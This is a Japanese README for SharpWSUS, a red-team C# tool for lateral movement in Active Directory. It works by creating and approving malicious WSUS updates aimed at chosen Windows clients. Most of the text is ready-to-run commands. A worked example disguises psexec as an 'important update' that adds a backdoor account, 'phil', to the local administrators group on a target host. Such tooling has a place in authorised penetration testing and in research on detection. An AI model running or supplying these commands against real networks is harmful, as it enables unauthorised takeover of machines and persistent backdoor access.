nettitude/sharpwsusActive Directory環境内のWindowsクライアントを標的に、悪意のある更新プログラムを作成・承認・展開することでWSUSを介した横方向の移動を可能にするC#ツール。
SharpWSUS は、WSUS を介したラテラルムーブメントのための CSharp ツールです。ツールの詳細、ユースケース、検出方法については、対応するブログ (https://labs.nettitude.com/blog/introducing-sharpwsus/) で詳しく説明されています。
以下のリソースに多大な感謝を捧げます。これらが実際にこの作業の 90% をやってくれました。このツールは、C2 の信頼性と柔軟性のために、以下のものを強化したにすぎません。
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
Commands listed below have optional parameters in <>.
WSUS サーバーを特定する:
SharpWSUS.exe locate
WSUS サーバーを検査し、クライアント、サーバー、および既存のグループを列挙する:
SharpWSUS.exe inspect
更新を作成する (注: ペイロードは Windows 署名済みバイナリである必要があります):
SharpWSUS.exe create /payload:[ファイルの場所] /args:[ペイロードの引数] </title:[更新タイトル] /date:[YYYY-MM-DD] /kb:[KB番号] /rating:[評価] /msrc:[MSRC] /description:[説明] /url:[URL]>
更新を承認する:
SharpWSUS.exe approve /updateid:[更新GUID] /computername:[ターゲットコンピュータ] </groupname:[コンピュータを追加するグループ名] /approver:[承認者の名前]>
更新のステータスを確認する:
SharpWSUS.exe check /updateid:[更新GUID] /computername:[ターゲットFQDN]
更新を削除し、追加したグループをクリーンアップする:
SharpWSUS.exe delete /updateid:[更新GUID] /computername:[ターゲットFQDN] </groupname:[グループ名] /keepgroup>
sharpwsus locate
sharpwsus inspect
sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"
sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local
sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"